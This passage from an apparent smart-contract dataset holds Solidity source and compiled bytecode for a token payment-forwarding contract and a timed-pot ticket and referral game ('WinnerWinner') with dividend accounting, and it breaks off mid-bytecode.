} } return true; } } library SafeMath { int256 constant private INT256_MIN = -2**255; /** * @dev Multiplies two unsigned integers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } /** * @dev Multiplies two signed integers, reverts on overflow. */ function mul(int256 a, int256 b) internal pure returns (int256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } require(!(a == -1 && b == INT256_MIN)); // This is the only case of overflow not detected by the check below int256 c = a * b; require(c / a == b); return c; } /** * @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Integer division of two signed integers truncating the quotient, reverts on division by zero. */ function div(int256 a, int256 b) internal pure returns (int256) { require(b != 0); // Solidity only automatically asserts when dividing by 0 require(!(b == -1 && a == INT256_MIN)); // This is the only case of overflow int256 c = a / b; return c; } /** * @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } /** * @dev Subtracts two signed integers, reverts on overflow. */ function sub(int256 a, int256 b) internal pure returns (int256) { int256 c = a - b; require((b >= 0 && c <= a) || (b < 0 && c > a)); return c; } /** * @dev Adds two unsigned integers, reverts on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } /** * @dev Adds two signed integers, reverts on overflow. */ function add(int256 a, int256 b) internal pure returns (int256) { int256 c = a + b; require((b >= 0 && c >= a) || (b < 0 && c < a)); return c; } /** * @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } contract VIM_API_Payments { using SafeMath for uint256; address _bank; address constant _vimTokenAddr = 0x543920CD78B0d230C4c7ad849F4f32e03FB3DcA0; mapping(address => uint256) public _balances; event Payment(address sender, uint256 amount); constructor() public { _bank = msg.sender; } modifier onlyBank { require(msg.sender == _bank, "Unauthorized"); _; } function tokenFallback( address from, uint256 value ) public returns (bool) { ERC223 token = ERC223(msg.sender); require(msg.sender == _vimTokenAddr, "Invalid VIM token"); require(token.transfer(_bank, value), "Error transfering funds."); _balances[from] = _balances[from].add(value); return true; } function balanceOf(address account) public view returns (uint256 balance) { return _balances[account]; } function upgradeBank(address addr) public onlyBank returns (bool success) { _bank = addr; return true; } }
0x60806040526004361061005c576000357c0100000000000000000000000000000000000000000000000000000000900480633b66d02b146100615780636ebcf607146100d45780636f2b12261461013957806370a08231146101a2575b600080fd5b34801561006d57600080fd5b506100ba6004803603604081101561008457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610207565b604051808215151515815260200191505060405180910390f35b3480156100e057600080fd5b50610123600480360360208110156100f757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506104d7565b6040518082815260200191505060405180910390f35b34801561014557600080fd5b506101886004803603602081101561015c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506104ef565b604051808215151515815260200191505060405180910390f35b3480156101ae57600080fd5b506101f1600480360360208110156101c557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506105fe565b6040518082815260200191505060405180910390f35b60008033905073543920cd78b0d230c4c7ad849f4f32e03fb3dca073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156102c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f496e76616c69642056494d20746f6b656e00000000000000000000000000000081525060200191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16856040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561038857600080fd5b505af115801561039c573d6000803e3d6000fd5b505050506040513d60208110156103b257600080fd5b81019080805190602001909291905050501515610437576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f4572726f72207472616e73666572696e672066756e64732e000000000000000081525060200191505060405180910390fd5b61048983600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461064790919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600191505092915050565b60016020528060005260406000206000915090505481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156105b5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600c8152602001807f556e617574686f72697a6564000000000000000000000000000000000000000081525060200191505060405180910390fd5b816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600080828401905083811015151561065e57600080fd5b809150509291505056fea165627a7a72305820d2d010aac29068bbffd35ff47b597281401521401139afeab369f7bb1430a84b0029
{"success": true, "error": null, "results": {}}
1,048
0xdc0de47538badee1e12c189e5c94cf19c2f27efa
// solhint-disable-next-line compiler-fixed, compiler-gt-0_4 pragma solidity ^0.4.24; // _,,ad8888888888bba,_ // ,ad88888I888888888888888ba, // ,88888888I88888888888888888888a, // ,d888888888I8888888888888888888888b, // d88888PP"""" ""YY88888888888888888888b, // ,d88"'__,,--------,,,,.;ZZZY8888888888888, // ,8IIl'" ;;l"ZZZIII8888888888, // ,I88l;' ;lZZZZZ888III8888888, // ,II88Zl;. ;llZZZZZ888888I888888, // ,II888Zl;. .;;;;;lllZZZ888888I8888b // ,II8888Z;; `;;;;;''llZZ8888888I8888, // II88888Z;' .;lZZZ8888888I888b // II88888Z; _,aaa, .,aaaaa,__.l;llZZZ88888888I888 // II88888IZZZZZZZZZ, .ZZZZZZZZZZZZZZ;llZZ88888888I888, // II88888IZZ<'(@@>Z| |ZZZ<'(@@>ZZZZ;;llZZ888888888I88I // ,II88888; `""" ;| |ZZ; `""" ;;llZ8888888888I888 // II888888l `;; .;llZZ8888888888I888, // ,II888888Z; ;;; .;;llZZZ8888888888I888I // III888888Zl; .., `;; ,;;lllZZZ88888888888I888 // II88888888Z;;...;(_ _) ,;;;llZZZZ88888888888I888, // II88888888Zl;;;;;' `--'Z;. .,;;;;llZZZZ88888888888I888b // ]I888888888Z;;;;' ";llllll;..;;;lllZZZZ88888888888I8888, // II888888888Zl.;;"Y88bd888P";;,..;lllZZZZZ88888888888I8888I // II8888888888Zl;.; `"PPP";;;,..;lllZZZZZZZ88888888888I88888 // II888888888888Zl;;. `;;;l;;;;lllZZZZZZZZW88888888888I88888 // `II8888888888888Zl;. ,;;lllZZZZZZZZWMZ88888888888I88888 // II8888888888888888ZbaalllZZZZZZZZZWWMZZZ8888888888I888888, // `II88888888888888888b"WWZZZZZWWWMMZZZZZZI888888888I888888b // `II88888888888888888;ZZMMMMMMZZZZZZZZllI888888888I8888888 // `II8888888888888888 `;lZZZZZZZZZZZlllll888888888I8888888, // II8888888888888888, `;lllZZZZllllll;;.Y88888888I8888888b, // ,II8888888888888888b .;;lllllll;;;.;..88888888I88888888b, // II888888888888888PZI;. .`;;;.;;;..; ...88888888I8888888888, // II888888888888PZ;;';;. ;. .;. .;. .. Y8888888I88888888888b, // ,II888888888PZ;;' `8888888I8888888888888b, // II888888888' 888888I8888888888888888b // ,II888888888 ,888888I88888888888888888 // ,d88888888888 d888888I8888888888ZZZZZZZ // ,ad888888888888I 8888888I8888ZZZZZZZZZZZZZ // ,d888888888888888' 888888IZZZZZZZZZZZZZZZZZZ // ,d888888888888P'8P' Y888ZZZZZZZZZZZZZZZZZZZZZ // ,8888888888888, " ,ZZZZZZZZZZZZZZZZZZZZZZZZ // d888888888888888, ,ZZZZZZZZZZZZZZZZZZZZZZZZZZZ // 888888888888888888a, _ ,ZZZZZZZZZZZZZZZZZZZZ888888888 // 888888888888888888888ba,_d' ,ZZZZZZZZZZZZZZZZZ88888888888888 // 8888888888888888888888888888bbbaaa,,,______,ZZZZZZZZZZZZZZZ888888888888888888 // 88888888888888888888888888888888888888888ZZZZZZZZZZZZZZZ888888888888888888888 // 8888888888888888888888888888888888888888ZZZZZZZZZZZZZZ88888888888888888888888 // 888888888888888888888888888888888888888ZZZZZZZZZZZZZZ888888888888888888888888 // 8888888888888888888888888888888888888ZZZZZZZZZZZZZZ88888888888888888888888888 // 88888888888888888888888888888888888ZZZZZZZZZZZZZZ8888888888888888888888888888 // 8888888888888888888888888888888888ZZZZZZZZZZZZZZ88888888888888888 Da Vinci 88 // 88888888888888888888888888888888ZZZZZZZZZZZZZZ8888888888888888888 Coders 88 // 8888888888888888888888888888888ZZZZZZZZZZZZZZ88888888888888888888888888888888 library SafeMath { function mul(uint a, uint b) internal pure returns (uint c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function div(uint a, uint b) internal pure returns (uint) { return a / b; } function mod(uint a, uint b) internal pure returns (uint) { return a % b; } function sub(uint a, uint b) internal pure returns (uint) { assert(b <= a); return a - b; } function add(uint a, uint b) internal pure returns (uint c) { c = a + b; assert(c >= a); return c; } } contract Dividends { using SafeMath for *; uint private constant FIXED_POINT = 1000000000000000000; struct Scheme { uint value; uint shares; uint mask; } struct Vault { uint value; uint shares; uint mask; } mapping (uint => mapping (address => Vault)) private vaultOfAddress; mapping (uint => Scheme) private schemeOfId; function buyShares (uint _schemeId, address _owner, uint _shares, uint _value) internal { require(_owner != address(0)); require(_shares > 0 && _value > 0); uint value = _value.mul(FIXED_POINT); Scheme storage scheme = schemeOfId[_schemeId]; scheme.value = scheme.value.add(_value); scheme.shares = scheme.shares.add(_shares); require(value > scheme.shares); uint pps = value.div(scheme.shares); Vault storage vault = vaultOfAddress[_schemeId][_owner]; vault.shares = vault.shares.add(_shares); vault.mask = vault.mask.add(scheme.mask.mul(_shares)); vault.value = vault.value.add(value.sub(pps.mul(scheme.shares))); scheme.mask = scheme.mask.add(pps); } function flushVault (uint _schemeId, address _owner) internal { uint gains = gainsOfVault(_schemeId, _owner); if (gains > 0) { Vault storage vault = vaultOfAddress[_schemeId][_owner]; vault.value = vault.value.add(gains); vault.mask = vault.mask.add(gains); } } function withdrawVault (uint _schemeId, address _owner) internal returns (uint) { flushVault(_schemeId, _owner); Vault storage vault = vaultOfAddress[_schemeId][_owner]; uint payout = vault.value.div(FIXED_POINT); if (payout > 0) { vault.value = 0; } return payout; } function creditVault (uint _schemeId, address _owner, uint _value) internal { Vault storage vault = vaultOfAddress[_schemeId][_owner]; vault.value = vault.value.add(_value.mul(FIXED_POINT)); } function gainsOfVault (uint _schemeId, address _owner) internal view returns (uint) { Scheme storage scheme = schemeOfId[_schemeId]; Vault storage vault = vaultOfAddress[_schemeId][_owner]; if (vault.shares == 0) { return 0; } return scheme.mask.mul(vault.shares).sub(vault.mask); } function valueOfVault (uint _schemeId, address _owner) internal view returns (uint) { Vault storage vault = vaultOfAddress[_schemeId][_owner]; return vault.value; } function balanceOfVault (uint _schemeId, address _owner) internal view returns (uint) { Vault storage vault = vaultOfAddress[_schemeId][_owner]; uint total = vault.value.add(gainsOfVault(_schemeId, _owner)); uint balance = total.div(FIXED_POINT); return balance; } function sharesOfVault (uint _schemeId, address _owner) internal view returns (uint) { Vault storage vault = vaultOfAddress[_schemeId][_owner]; return vault.shares; } function valueOfScheme (uint _schemeId) internal view returns (uint) { return schemeOfId[_schemeId].value; } function sharesOfScheme (uint _schemeId) internal view returns (uint) { return schemeOfId[_schemeId].shares; } } library Utils { using SafeMath for uint; uint private constant LAST_COUNTRY = 195; function regularTicketPrice () internal pure returns (uint) { return 100000000000000; } function goldenTicketPrice (uint _x) internal pure returns (uint) { uint price = _x.mul(_x).div(2168819140000000000000000).add(100000000000000).add(_x.div(100000)); return price < regularTicketPrice() ? regularTicketPrice() : price; } function ticketsForWithExcess (uint _value) internal pure returns (uint, uint) { uint tickets = _value.div(regularTicketPrice()); uint excess = _value.sub(tickets.mul(regularTicketPrice())); return (tickets, excess); } function percentageOf (uint _value, uint _p) internal pure returns (uint) { return _value.mul(_p).div(100); } function validReferralCode (string _code) internal pure returns (bool) { bytes memory b = bytes(_code); if (b.length < 3) { return false; } for (uint i = 0; i < b.length; i++) { bytes1 c = b[i]; if ( !(c >= 0x30 && c <= 0x39) && // 0-9 !(c >= 0x41 && c <= 0x5A) && // A-Z !(c >= 0x61 && c <= 0x7A) && // a-z !(c == 0x2D) // - ) { return false; } } return true; } function validNick (string _nick) internal pure returns (bool) { return bytes(_nick).length > 3; } function validCountryId (uint _countryId) internal pure returns (bool) { return _countryId > 0 && _countryId <= LAST_COUNTRY; } } contract Events { event Started ( uint _time ); event Bought ( address indexed _player, address indexed _referral, uint _countryId, uint _tickets, uint _value, uint _excess ); event Promoted ( address indexed _player, uint _goldenTickets, uint _endTime ); event Withdrew ( address indexed _player, uint _amount ); event Registered ( string _code, address indexed _referral ); event Won ( address indexed _winner, uint _pot ); } contract Constants { uint internal constant MAIN_SCHEME = 1337; uint internal constant DEFAULT_COUNTRY = 1; uint internal constant SET_NICK_FEE = 0.01 ether; uint internal constant REFERRAL_REGISTRATION_FEE = 0.1 ether; uint internal constant TO_DIVIDENDS = 40; uint internal constant TO_REFERRAL = 10; uint internal constant TO_DEVELOPERS = 8; uint internal constant TO_COUNTRY = 12; } contract State is Constants { address internal addressOfOwner; uint internal maxTime = 0; uint internal addedTime = 0; uint internal totalPot = 0; uint internal startTime = 0; uint internal endTime = 0; bool internal potWithdrawn = false; address internal addressOfCaptain; struct Info { address referral; uint countryId; uint withdrawn; string nick; } mapping (address => Info) internal infoOfAddress; mapping (address => string[]) internal codesOfAddress; mapping (string => address) internal addressOfCode; modifier restricted () { require(msg.sender == addressOfOwner); _; } modifier active () { require(startTime > 0); require(block.timestamp < endTime); require(!potWithdrawn); _; } modifier player () { require(infoOfAddress[msg.sender].countryId > 0); _; } } contract Core is Events, State, Dividends {} contract ExternalView is Core { function totalInfo () external view returns (bool, bool, address, uint, uint, uint, uint, uint, uint, address) { return ( startTime > 0, block.timestamp >= endTime, addressOfCaptain, totalPot, endTime, sharesOfScheme(MAIN_SCHEME), valueOfScheme(MAIN_SCHEME), maxTime, addedTime, addressOfOwner ); } function countryInfo (uint _countryId) external view returns (uint, uint) { return ( sharesOfScheme(_countryId), valueOfScheme(_countryId) ); } function playerInfo (address _player) external view returns (uint, uint, uint, address, uint, uint, string) { Info storage info = infoOfAddress[_player]; return ( sharesOfVault(MAIN_SCHEME, _player), balanceOfVault(MAIN_SCHEME, _player), balanceOfVault(info.countryId, _player), info.referral, info.countryId, info.withdrawn, info.nick ); } function numberOfReferralCodes (address _player) external view returns (uint) { return codesOfAddress[_player].length; } function referralCodeAt (address _player, uint i) external view returns (string) { return codesOfAddress[_player][i]; } function codeToAddress (string _code) external view returns (address) { return addressOfCode[_code]; } function goldenTicketPrice (uint _x) external pure returns (uint) { return Utils.goldenTicketPrice(_x); } } contract Internal is Core { function _registerReferral (string _code, address _referral) internal { require(Utils.validReferralCode(_code)); require(addressOfCode[_code] == address(0)); addressOfCode[_code] = _referral; codesOfAddress[_referral].push(_code); emit Registered(_code, _referral); } } contract WinnerWinner is Core, Internal, ExternalView { using SafeMath for *; constructor () public { addressOfOwner = msg.sender; } function () public payable { buy(addressOfOwner, DEFAULT_COUNTRY); } function start (uint _maxTime, uint _addedTime) public restricted { require(startTime == 0); require(_maxTime > 0 && _addedTime > 0); require(_maxTime > _addedTime); maxTime = _maxTime; addedTime = _addedTime; startTime = block.timestamp; endTime = startTime + maxTime; addressOfCaptain = addressOfOwner; _registerReferral("owner", addressOfOwner); emit Started(startTime); } function buy (address _referral, uint _countryId) public payable active { require(msg.value >= Utils.regularTicketPrice()); require(msg.value <= 100000 ether); require(codesOfAddress[_referral].length > 0); require(_countryId != MAIN_SCHEME); require(Utils.validCountryId(_countryId)); (uint tickets, uint excess) = Utils.ticketsForWithExcess(msg.value); uint value = msg.value.sub(excess); require(tickets > 0); require(value.add(excess) == msg.value); Info storage info = infoOfAddress[msg.sender]; if (info.countryId == 0) { info.referral = _referral; info.countryId = _countryId; } uint vdivs = Utils.percentageOf(value, TO_DIVIDENDS); uint vreferral = Utils.percentageOf(value, TO_REFERRAL); uint vdevs = Utils.percentageOf(value, TO_DEVELOPERS); uint vcountry = Utils.percentageOf(value, TO_COUNTRY); uint vpot = value.sub(vdivs).sub(vreferral).sub(vdevs).sub(vcountry); assert(vdivs.add(vreferral).add(vdevs).add(vcountry).add(vpot) == value); buyShares(MAIN_SCHEME, msg.sender, tickets, vdivs); buyShares(info.countryId, msg.sender, tickets, vcountry); creditVault(MAIN_SCHEME, info.referral, vreferral); creditVault(MAIN_SCHEME, addressOfOwner, vdevs); if (excess > 0) { creditVault(MAIN_SCHEME, msg.sender, excess); } uint goldenTickets = value.div(Utils.goldenTicketPrice(totalPot)); if (goldenTickets > 0) { endTime = endTime.add(goldenTickets.mul(addedTime)) > block.timestamp.add(maxTime) ? block.timestamp.add(maxTime) : endTime.add(goldenTickets.mul(addedTime)); addressOfCaptain = msg.sender; emit Promoted(addressOfCaptain, goldenTickets, endTime); } totalPot = totalPot.add(vpot); emit Bought(msg.sender, info.referral, info.countryId, tickets, value, excess); } function setNick (string _nick) public payable { require(msg.value == SET_NICK_FEE); require(Utils.validNick(_nick)); infoOfAddress[msg.sender].nick = _nick; creditVault(MAIN_SCHEME, addressOfOwner, msg.value); } function registerCode (string _code) public payable { require(msg.value == REFERRAL_REGISTRATION_FEE); _registerReferral(_code, msg.sender); creditVault(MAIN_SCHEME, addressOfOwner, msg.value); } function giftCode (string _code, address _referral) public restricted { _registerReferral(_code, _referral); } function withdraw () public { Info storage info = infoOfAddress[msg.sender]; uint payout = withdrawVault(MAIN_SCHEME, msg.sender); if (Utils.validCountryId(info.countryId)) { payout = payout.add(withdrawVault(info.countryId, msg.sender)); } if (payout > 0) { info.withdrawn = info.withdrawn.add(payout); msg.sender.transfer(payout); emit Withdrew(msg.sender, payout); } } function withdrawPot () public player { require(startTime > 0); require(block.timestamp > (endTime + 10 minutes)); require(!potWithdrawn); require(totalPot > 0); require(addressOfCaptain == msg.sender); uint payout = totalPot; totalPot = 0; potWithdrawn = true; addressOfCaptain.transfer(payout); emit Won(msg.sender, payout); } }
0x6080604052600436106100cf5763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416630c76316d81146100e85780631f535833146100fd57806320e98bf4146101965780633ccfd60b146101e25780634b114691146101f757806377ce52f8146102cc5780638fb4b5731461033c5780639932dc0514610357578063c3a869e614610393578063cce7ec13146103bd578063ce021384146103d4578063e177bb9b146103f5578063f3d448d214610441578063fe79bfd014610472575b6000546100e690600160a060020a031660016104d6565b005b3480156100f457600080fd5b506100e6610896565b34801561010957600080fd5b50610121600160a060020a03600435166024356109a0565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561015b578181015183820152602001610143565b50505050905090810190601f1680156101885780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6040805160206004803580820135601f81018490048402850184019095528484526100e6943694929360249392840191908190840183828082843750949750610a649650505050505050565b3480156101ee57600080fd5b506100e6610acf565b34801561020357600080fd5b50610218600160a060020a0360043516610bad565b6040518088815260200187815260200186815260200185600160a060020a0316600160a060020a0316815260200184815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561028b578181015183820152602001610273565b50505050905090810190601f1680156102b85780820380516001836020036101000a031916815260200191505b509850505050505050505060405180910390f35b3480156102d857600080fd5b506102e1610cc2565b604080519a15158b5298151560208b0152600160a060020a039788168a8a015260608a0196909652608089019490945260a088019290925260c087015260e08601526101008501521661012083015251908190036101400190f35b34801561034857600080fd5b506100e6600435602435610d4a565b34801561036357600080fd5b506103776004803560248101910135610e54565b60408051600160a060020a039092168252519081900360200190f35b34801561039f57600080fd5b506103ab600435610e8d565b60408051918252519081900360200190f35b6100e6600160a060020a03600435166024356104d6565b3480156103e057600080fd5b506103ab600160a060020a0360043516610e98565b6040805160206004803580820135601f81018490048402850184019095528484526100e6943694929360249392840191908190840183828082843750949750610eb39650505050505050565b34801561044d57600080fd5b50610459600435610eeb565b6040805192835260208301919091528051918290030190f35b34801561047e57600080fd5b506040805160206004803580820135601f81018490048402850184019095528484526100e694369492936024939284019190819084018382808284375094975050509235600160a060020a03169350610f0992505050565b60008060008060008060008060008060006004541115156104f657600080fd5b600554421061050457600080fd5b60065460ff161561051457600080fd5b61051c610f2a565b34101561052857600080fd5b69152d02c7e14af680000034111561053f57600080fd5b600160a060020a038c166000908152600860205260408120541161056257600080fd5b6105398b141561057157600080fd5b61057a8b610f35565b151561058557600080fd5b61058e34610f49565b909a5098506105a3348a63ffffffff610f9d16565b975060008a116105b257600080fd5b346105c3898b63ffffffff610faf16565b146105cd57600080fd5b3360009081526007602052604090206001810154909750151561061857865473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a038d16178755600187018b90555b610623886028610fbc565b955061063088600a610fbc565b945061063d886008610fbc565b935061064a88600c610fbc565b925061067083610664868189818e8d63ffffffff610f9d16565b9063ffffffff610f9d16565b9150876106978361068b868189818d8d63ffffffff610faf16565b9063ffffffff610faf16565b1461069e57fe5b6106ac610539338c89610fe6565b6106bc8760010154338c86610fe6565b86546106d59061053990600160a060020a03168761115c565b6000546106ef9061053990600160a060020a03168661115c565b600089111561070557610705610539338b61115c565b6107206107136003546111a0565b899063ffffffff6111fe16565b905060008111156108165760015461073f90429063ffffffff610faf16565b6107666107576002548461121390919063ffffffff16565b6005549063ffffffff610faf16565b11610788576107836107576002548361121390919063ffffffff16565b61079c565b60015461079c90429063ffffffff610faf16565b60058190556006805461010033810274ffffffffffffffffffffffffffffffffffffffff00199092169190911791829055604080518581526020810194909452805191909204600160a060020a0316927f2606a326113091b7d2d6e478c5e83fea0ed4c33c5ee81ff287a9c13c2ea8a61592908290030190a25b600354610829908363ffffffff610faf16565b6003558654600188015460408051918252602082018d90528181018b9052606082018c905251600160a060020a039092169133917f2683a506cc521e11c368ce9c068585a91786a3cb7ab4089b602eb2835acb1639919081900360800190a3505050505050505050505050565b3360009081526007602052604081206001015481106108b457600080fd5b6004546000106108c357600080fd5b6005546102580142116108d557600080fd5b60065460ff16156108e557600080fd5b6003546000106108f457600080fd5b6006546101009004600160a060020a0316331461091057600080fd5b50600380546000918290556006805460ff1916600117908190556040519192610100909104600160a060020a0316916108fc84150291849190818181858888f19350505050158015610966573d6000803e3d6000fd5b5060408051828152905133917f8b01f9dd0400d6a1e84369a5fb8f6033934856ffa8ebadd707dca302ab551695919081900360200190a250565b600160a060020a0382166000908152600860205260409020805460609190839081106109c857fe5b600091825260209182902001805460408051601f6002600019610100600187161502019094169390930492830185900485028101850190915281815292830182828015610a565780601f10610a2b57610100808354040283529160200191610a56565b820191906000526020600020905b815481529060010190602001808311610a3957829003601f168201915b505050505090505b92915050565b34662386f26fc1000014610a7757600080fd5b610a808161123c565b1515610a8b57600080fd5b3360009081526007602090815260409091208251610ab192600390920191840190611839565b50600054610acc9061053990600160a060020a03163461115c565b50565b33600081815260076020526040812091610aec9061053990611243565b9050610afb8260010154610f35565b15610b2157610b1e610b11836001015433611243565b829063ffffffff610faf16565b90505b6000811115610ba9576002820154610b3f908263ffffffff610faf16565b6002830155604051339082156108fc029083906000818181858888f19350505050158015610b71573d6000803e3d6000fd5b5060408051828152905133917fb244b9a17ad633c6e83b7983ee04320484956a68ddbe96a0b70dfca1cf19d723919081900360200190a25b5050565b600160a060020a038116600090815260076020526040812081908190819081908190606090610bde6105398a6112ad565b610bea6105398b6112d8565b610bf883600101548c6112d8565b8354600180860154600280880154600389018054604080516020601f600019998516156101000299909901909316959095049687018290048202850182019052858452600160a060020a0390961695939491939092918391830182828015610ca15780601f10610c7657610100808354040283529160200191610ca1565b820191906000526020600020905b815481529060010190602001808311610c8457829003601f168201915b50505050509050975097509750975097509750975050919395979092949650565b600080600080600080600080600080600060045411600554421015600660019054906101000a9004600160a060020a0316600354600554610d0461053961133b565b610d0f610539611350565b6001546002546000809054906101000a9004600160a060020a0316995099509950995099509950995099509950995090919293949596979899565b600054600160a060020a03163314610d6157600080fd5b60045415610d6e57600080fd5b600082118015610d7e5750600081115b1515610d8957600080fd5b808211610d9557600080fd5b60018290556002819055426004819055820160059081556000546006805474ffffffffffffffffffffffffffffffffffffffff001916610100600160a060020a03909316928302179055604080518082019091529182527f6f776e65720000000000000000000000000000000000000000000000000000006020830152610e1c9190611362565b60045460408051918252517e6e0c97de781a7389d44ba8fd35d1467cabb17ed04d038d166d34ab819213f39181900360200190a15050565b6000600983836040518083838082843790910194855250506040519283900360200190922054600160a060020a03169250505092915050565b6000610a5e826111a0565b600160a060020a031660009081526008602052604090205490565b3467016345785d8a000014610ec757600080fd5b610ed18133611362565b600054610acc9061053990600160a060020a03163461115c565b600080610ef78361133b565b610f0084611350565b91509150915091565b600054600160a060020a03163314610f2057600080fd5b610ba98282611362565b655af3107a40005b90565b60008082118015610a5e57505060c3101590565b600080600080610f67610f5a610f2a565b869063ffffffff6111fe16565b9150610f91610f84610f77610f2a565b849063ffffffff61121316565b869063ffffffff610f9d16565b91959194509092505050565b600082821115610fa957fe5b50900390565b81810182811015610a5e57fe5b6000610fdf6064610fd3858563ffffffff61121316565b9063ffffffff6111fe16565b9392505050565b6000808080600160a060020a038716151561100057600080fd5b6000861180156110105750600085115b151561101b57600080fd5b61103385670de0b6b3a764000063ffffffff61121316565b6000898152600b6020526040902080549195509350611058908663ffffffff610faf16565b8355600183015461106f908763ffffffff610faf16565b60018401819055841161108157600080fd5b600183015461109790859063ffffffff6111fe16565b6000898152600a60209081526040808320600160a060020a038c1684529091529020600181015491935091506110d3908763ffffffff610faf16565b60018201556002830154611102906110f1908863ffffffff61121316565b60028301549063ffffffff610faf16565b600282015560018301546111339061112590610f8490859063ffffffff61121316565b82549063ffffffff610faf16565b8155600283015461114a908363ffffffff610faf16565b83600201819055505050505050505050565b6000838152600a60209081526040808320600160a060020a0386168452909152902061119961112583670de0b6b3a764000063ffffffff61121316565b9055505050565b6000806111e06111b984620186a063ffffffff6111fe16565b61068b655af3107a4000816a01cb43ebd185b7fc7a0000610fd3898063ffffffff61121316565b90506111ea610f2a565b81106111f65780610fdf565b610fdf610f2a565b6000818381151561120b57fe5b049392505050565b600082151561122457506000610a5e565b5081810281838281151561123457fe5b0414610a5e57fe5b5160031090565b6000806000611252858561155f565b6000858152600a60209081526040808320600160a060020a03881684529091529020805490925061129190670de0b6b3a764000063ffffffff6111fe16565b905060008111156112a157600082555b8092505b505092915050565b6000918252600a60209081526040808420600160a060020a0393909316845291905290206001015490565b6000828152600a60209081526040808320600160a060020a03851684529091528120818061131761130987876115cf565b84549063ffffffff610faf16565b915061133182670de0b6b3a764000063ffffffff6111fe16565b9695505050505050565b6000908152600b602052604090206001015490565b6000908152600b602052604090205490565b61136b82611638565b151561137657600080fd5b6000600160a060020a03166009836040518082805190602001908083835b602083106113b35780518252601f199092019160209182019101611394565b51815160209384036101000a6000190180199092169116179052920194855250604051938490030190922054600160a060020a03169290921491506113f9905057600080fd5b806009836040518082805190602001908083835b6020831061142c5780518252601f19909201916020918201910161140d565b51815160209384036101000a600019018019909216911617905292019485525060408051948590038201909420805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0396871617905593851660009081526008855292832080546001810180835591855293859020875191956114b69591909101935087019150611839565b505080600160a060020a03167f50f74ca45caac8020b8d891bd13ea5a2d79564986ee6a839f0d914896388322d836040518080602001828103825283818151815260200191508051906020019080838360005b83811015611521578181015183820152602001611509565b50505050905090810190601f16801561154e5780820380516001836020036101000a031916815260200191505b509250505060405180910390a25050565b60008061156c84846115cf565b915060008211156115c957506000838152600a60209081526040808320600160a060020a0386168452909152902080546115ac908363ffffffff610faf16565b815560028101546115c3908363ffffffff610faf16565b60028201555b50505050565b6000828152600b60209081526040808320600a8352818420600160a060020a038616855290925282206001810154151561160c57600092506112a5565b61162f81600201546106648360010154856002015461121390919063ffffffff16565b95945050505050565b600060606000808492506003835110156116555760009350611831565b600091505b825182101561182c57828281518110151561167157fe5b01602001517f0100000000000000000000000000000000000000000000000000000000000000908190040290507f3000000000000000000000000000000000000000000000000000000000000000600160f860020a031982161080159061170257507f3900000000000000000000000000000000000000000000000000000000000000600160f860020a0319821611155b15801561177057507f4100000000000000000000000000000000000000000000000000000000000000600160f860020a031982161080159061176e57507f5a00000000000000000000000000000000000000000000000000000000000000600160f860020a0319821611155b155b80156117dd57507f6100000000000000000000000000000000000000000000000000000000000000600160f860020a03198216108015906117db57507f7a00000000000000000000000000000000000000000000000000000000000000600160f860020a0319821611155b155b801561181357507f2d00000000000000000000000000000000000000000000000000000000000000600160f860020a0319821614155b156118215760009350611831565b60019091019061165a565b600193505b505050919050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061187a57805160ff19168380011785556118a7565b828001600101855582156118a7579182015b828111156118a7578251825